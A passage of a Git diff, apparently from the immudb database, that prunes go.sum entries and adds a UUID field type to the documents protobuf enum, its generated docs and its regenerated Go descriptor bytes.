h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= -modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= -modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= -modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= -modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= -modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= -modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= -modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= -modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= -rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index aba78b2c98..3bad74b130 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -85,6 +85,7 @@ enum FieldType { BOOLEAN = 1; INTEGER = 2; DOUBLE = 3; + UUID = 4; } message Index { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 70d2163a4c..ea7e964605 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -763,6 +763,7 @@ | BOOLEAN | 1 | | | INTEGER | 2 | | | DOUBLE | 3 | | +| UUID | 4 | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 9120d3cb88..e562bab332 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -46,6 +46,7 @@ const ( FieldType_BOOLEAN FieldType = 1 FieldType_INTEGER FieldType = 2 FieldType_DOUBLE FieldType = 3 + FieldType_UUID FieldType = 4 ) // Enum value maps for FieldType. @@ -55,12 +56,14 @@ var ( 1: "BOOLEAN", 2: "INTEGER", 3: "DOUBLE", + 4: "UUID", } FieldType_value = map[string]int32{ "STRING": 0, "BOOLEAN": 1, "INTEGER": 2, "DOUBLE": 3, + "UUID": 4, } ) @@ -2462,169 +2465,170 @@ var file_documents_proto_rawDesc = []byte{ 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, - 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, - 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, - 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, - 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xd0, - 0x11, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, - 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, + 0x12, 0x08, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, + 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, + 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, + 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, + 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xd0, 0x11, 0x0a, 0x0f, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, + 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x7f, 0x0a, + 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, + 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x82, + 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, + 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, + 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, + 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, + 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, + 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x24, 0x2a, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x9f, 0x01, 0x0a, 0x0f, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 